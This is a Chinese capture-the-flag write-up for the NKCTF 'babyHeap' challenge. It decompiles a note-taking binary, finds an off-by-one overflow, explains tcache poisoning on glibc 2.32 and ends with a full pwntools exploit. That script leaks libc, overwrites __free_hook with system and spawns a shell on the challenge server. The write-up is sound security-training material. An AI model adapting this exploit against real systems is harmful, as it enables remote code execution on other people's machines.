-
-
[原创]【NKCTF】babyHeap-Off by one&Tcache Attack
-
2023-3-26 23:14 9787
-
目录
程序分析
IDA静态分析
伪代码分析
main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | int __cdecl main( int argc, const char * * argv, const char * * envp) { int choice; / / [rsp + 0h ] [rbp - 10h ] char buf[ 4 ]; / / [rsp + 4h ] [rbp - Ch] BYREF unsigned __int64 v6; / / [rsp + 8h ] [rbp - 8h ] v6 = __readfsqword( 0x28u ); init(argc, argv, envp); while ( 1 ) { while ( 1 ) { menu(); read( 0 , buf, 4uLL ); choice = strtol(buf, 0LL , 10 ); if ( choice < = 5 && choice > 0 ) break ; puts( "Index error." ); } if ( choice = = 5 ) break ; switch ( choice ) { case 1 : add(); break ; case 2 : delete(); break ; case 3 : edit(); break ; default: show(); break ; } } puts( "Goodbye and welcome to use it next time." ); return 0 ; } |
add函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | unsigned __int64 add() { signed int index; / / [rsp + Ch] [rbp - 14h ] int size; / / [rsp + 10h ] [rbp - 10h ] char buf[ 4 ]; / / [rsp + 14h ] [rbp - Ch] BYREF unsigned __int64 v4; / / [rsp + 18h ] [rbp - 8h ] v4 = __readfsqword( 0x28u ); printf( "Enter the index: " ); read( 0 , buf, 4uLL ); index = strtol(buf, 0LL , 10 ); if ( (unsigned int )index > 0xF ) { puts( "Up to 16 nkctf notes can be created." ); } else if ( note_array[index] ) { puts( "Sorry, this nkctf note has already been used." ); } else { printf( "Enter the Size: " ); read( 0 , buf, 4uLL ); size = strtol(buf, 0LL , 10 ); if ( size < = 256 ) { note_size[index] = size; note_array[index] = malloc(note_size[index]); if ( !note_array[index] || !note_size[index] ) my_error( "malloc()" , 0xFFFFFFFFLL ); } else { puts( "This nkctf note is too big." ); } } return __readfsqword( 0x28u ) ^ v4; } |
delete函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | unsigned __int64 delete() { unsigned int v1; / / [rsp + 0h ] [rbp - 10h ] char buf[ 4 ]; / / [rsp + 4h ] [rbp - Ch] BYREF unsigned __int64 v3; / / [rsp + 8h ] [rbp - 8h ] v3 = __readfsqword( 0x28u ); printf( "Enter the index: " ); read( 0 , buf, 4uLL ); v1 = strtol(buf, 0LL , 10 ); if ( v1 > 0xF ) { puts( "Index error." ); } else if ( note_array[v1] ) { free((void * )note_array[v1]); note_array[v1] = 0LL ; note_size[v1] = 0 ; if ( note_array[v1] || note_size[v1] ) my_error( "free()" , 4294967294LL ); } else { puts( "The nkctf note to be freed does not exist." ); } return __readfsqword( 0x28u ) ^ v3; } |
edit函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | unsigned __int64 edit() { unsigned int v1; / / [rsp + 0h ] [rbp - 10h ] char buf[ 4 ]; / / [rsp + 4h ] [rbp - Ch] BYREF unsigned __int64 v3; / / [rsp + 8h ] [rbp - 8h ] v3 = __readfsqword( 0x28u ); printf( "Enter the index: " ); read( 0 , buf, 4uLL ); v1 = strtol(buf, 0LL , 10 ); if ( v1 > 0xF ) { puts( "Index error." ); } else if ( note_array[v1] ) { printf( "Enter the content: " ); my_read(note_array[v1], (unsigned int )note_size[v1]); } else { puts( "The nkctf note to be filled was not created." ); } return __readfsqword( 0x28u ) ^ v3; } |
show函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | unsigned __int64 show() { unsigned int v1; / / [rsp + 0h ] [rbp - 10h ] char buf[ 4 ]; / / [rsp + 4h ] [rbp - Ch] BYREF unsigned __int64 v3; / / [rsp + 8h ] [rbp - 8h ] v3 = __readfsqword( 0x28u ); printf( "Enter the index: " ); read( 0 , buf, 4uLL ); v1 = strtol(buf, 0LL , 10 ); if ( v1 > 0xF ) { puts( "Index error." ); } else if ( note_array[v1] ) { puts((const char * )note_array[v1]); } else { puts( "The nkctf note to be printed was not created." ); } return __readfsqword( 0x28u ) ^ v3; } |
my_read函数【漏洞】
1 2 3 4 5 6 7 8 9 10 11 12 13 | __int64 __fastcall my_read(__int64 a1, int a2) { unsigned int v3; / / [rsp + 10h ] [rbp - 10h ] int i; / / [rsp + 14h ] [rbp - Ch] for ( i = 0 ; i < = a2; + + i ) / / 逻辑错误导致 1 个字节的溢出 { v3 = read( 0 , (void * )(i + a1), 1uLL ); if ( * (_BYTE * )(i + a1) = = 10 ) break ; } return v3; } |
分析总结
保护全开,CRUD全都提供了,但是没有明显可利用的地方,问题出在edit()
函数输入内容时使用的my_read()
函数,看名字都很可移:),其中根据创建时输入的chunkSize进行循环,由于逻辑错误导致会多读取一个字节,可以进行溢出
漏洞利用及原理
可利用漏洞
- 堆溢出Off by one
利用分析
已知在向堆输入内容时可进行一个字节的溢出,所以当我们申请0x?8
个字节时便可实际输入0x?9
篡改下一个chunkSize
,于是我们可以进行如下利用
- 申请3个大小为
0x68
的chunk - 通过溢出篡改
chunk#1->size=0xF1
- 释放
chunk#1
使其进入Tcache#0xf0
- 重新申请
chunk#1
,大小为0xE8
此时chunk#1
被重新至于原位且此时记录大小为0xE8
,真实大小依旧为0x68
,可随意篡改,泄露chunk#2
,于是进行以下利用
- 篡改
chunk#2->size=0x4b1
- 申请4个大小为
0x100
的chunk - 释放
chunk#2
使其进入Unsorted Bin
- 向
chunk#1
中填充大小为0x70
的字符 - 使用
show()
函数打印chunk#1
以泄露main_arena
此时我们已经实现了 libcBase Leak 和 Chunk Extends ,题目给出了的ibc版本为glibc-2.32
,由于应用了Tcache
,所以决定使用Tcache poisoning
进行任意地址写
利用原理和注意事项
Tcache
整体和FastBin
较相似,同采取 单链表 LIFO 进行管理,也既其FreeChunk
仅有fd
字段,区别是在利用时,FastBin
等都将对ChunkHeader
进行检查,而Tcache
的检查极其少,导致安全性低,其中值得注意的一项检查和一项保护措施分别如下
- 针对
fd
字段的混淆 - 针对被申请地址的对齐检查
tcache_perthread_struct
结构体中的counts
字段记录了当前分类中存在多少个可分配FreeChunk
在
glibc-2.31
后,对FastBin/Tcache
的fd
字段进行了混淆保护,当第一个FreeChunk
进入分类中时,&FreeChunk#0 >> 3
将作为key被保存并写入FreeChunk#0->fd
,而后该分类的每个FreeChunk->fd
在存取时都将与key
进行异或,所以若是我们要篡改fd
字段,则需要泄露key
在 glibc 2.29
之前,TcacheChunk
以 16 bytes
进行对齐,而在这之后,当申请的大小64<=size<=128
,则以16 bytes
进行对齐,其它情况下则以 8 bytes
进行对齐,所以若是申请的&FakeChunk
不符合对齐条件,需要-=8
以绕过检查
当tcache_perthread_struct->counts=0
时,则会直接跳过Tcache
从而去别处分配
注意事项的解决方案:
- 先泄露并保存
Tcache[X]->key
后在篡改fd时与真实Address
进行异或 - 若是报错
malloc(): unaligned tcache chunk detected
,则将FakeFd-8
- 篡改使
tcache_perthread_struct->counts+1
或者篡改FreeChunk#1
或之后FreeChunk
的fd
以保证在申请到FakeChunk
前tcache_perthread_struct->counts!=0
Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 | from pwn import * #p = process(["./ld-2.32.so", "./pwn"],env={"LD_PRELOAD":"./libc-2.32.so"}) #p = process("./pwn") context(os = 'linux' , arch = 'amd64' , log_level = 'debug' ) p = remote( "node2.yuzhian.com.cn" , 36361 ) libc = ELF( "./libc-2.32.so" ) #libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #gdb.attach(p) sleep( 1 ) def add(index,size): p.sendlineafter( "Your choice: " , "1" ) p.sendafter( "Enter the index: " , str (index)) p.sendafter( "Enter the Size: " , str (size)) def free(index): p.sendlineafter( "Your choice: " , "2" ) p.sendafter( "Enter the index: " , str (index)) def edit(index,content): p.sendlineafter( "Your choice: " , "3" ) p.sendafter( "Enter the index: " , str (index)) p.sendafter( "Enter the content: " ,content) def show(index): p.sendlineafter( "Your choice: " , "4" ) p.sendafter( "Enter the index: " , str (index)) add( 0 , 0x68 ) add( 1 , 0x68 ) add( 2 , 0x68 ) add( 3 , 0x100 ) add( 4 , 0x100 ) add( 5 , 0x100 ) add( 6 , 0x100 ) add( 7 , 0x68 ) add( 8 , 0x68 ) add( 9 , 0x68 ) add( 10 , 0x68 ) add( 11 , 0x68 ) add( 12 , 0x68 ) payload = b "A" * 0x68 payload + = b "\xE1" edit( 0 ,payload) free( 1 ) add( 1 , 0xD8 ) payload = b "A" * 0x68 payload + = b "\x71" edit( 0 ,payload) payload = b "\x00" * 0x68 payload + = p64( 0x4b1 ) + b "\n" edit( 1 ,payload) free( 2 ) payload = b "A" * 0x70 + b "\n" edit( 1 ,payload) show( 1 ) mainArena = u64(p.recvuntil( "\x7f" )[ - 6 :].ljust( 8 ,b "\x00" )) - 96 - 0xa mallocHook = mainArena - 0x10 libcBase = mallocHook - libc.sym[ '__malloc_hook' ] freeHook = libcBase + libc.sym[ '__free_hook' ] systemCall = libcBase + libc.sym[ 'system' ] oneGadGet = libcBase + 0xdf54c oneGadGet1 = libcBase + 0xdf54f oneGadGet2 = libcBase + 0xdf552 print ( "libcBase ==================> 『{}』" . format ( hex (libcBase))) print ( "mainArena ==================> 『{}』" . format ( hex (mainArena))) payload = b "\x00" * 0x68 + p64( 0x4b1 ) + p64(mainArena + 96 ) + p64(mainArena + 96 ) + b "\n" edit( 1 ,payload) free( 3 ) free( 4 ) free( 5 ) free( 6 ) add( 3 , 0x68 ) add( 4 , 0x68 ) add( 5 , 0x68 ) add( 6 , 0x68 ) free( 3 ) free( 4 ) payload = b "A" * 0x6e + b "M\n" edit( 1 ,payload) show( 1 ) p.recvuntil( "M\n" ,drop = True ) key = u64(p.recvuntil( "\n" ,drop = True ).ljust( 8 ,b "\x00" )) fakeChunk = freeHook fakeChunkX = (freeHook)^key fakeChunkM = (mallocHook)^key payload = b "A" * 0x68 + p64( 0x71 ) + b "\n" edit( 1 ,payload) payload = b "A" * 0x68 payload + = b "\xE1" edit( 7 ,payload) free( 8 ) add( 8 , 0xD8 ) add( 4 , 0x68 ) free( 9 ) payload = b "A" * 0x6f + b "\n" edit( 8 ,payload) show( 8 ) p.recvuntil( "A\n" ,drop = True ) heapAddr = u64(p.recvuntil( "\n" ,drop = True ).ljust( 8 ,b "\x00" )) ^ key edit( 0 ,b "/bin/sh\x00;\n" ) binsh = heapAddr - 0x150 print ( "mainArena ==================> 『{}』" . format ( hex (mainArena))) print ( "key ==================> 『{}』" . format ( hex (key))) print ( "fakeChunk ==================> 『{}』" . format ( hex (fakeChunk))) print ( "fakeChunkX ==================> 『{}』" . format ( hex (fakeChunkX))) print ( "heapAddr ==================> 『{}』" . format ( hex (heapAddr))) print ( "binsh ==================> 『{}』" . format ( hex (binsh))) print ( "libcBase ==================> 『{}』" . format ( hex (libcBase))) print ( "freeHook ==================> 『{}』" . format ( hex (freeHook))) payload = b "A" * 0x68 + p64( 0x71 ) + p64(fakeChunkX) + b "\n" edit( 8 ,payload) add( 13 , 0x68 ) add( 14 , 0x68 ) payload = p64(systemCall) + b "\n" edit( 14 ,payload) free( 0 ) p.interactive() p.close() |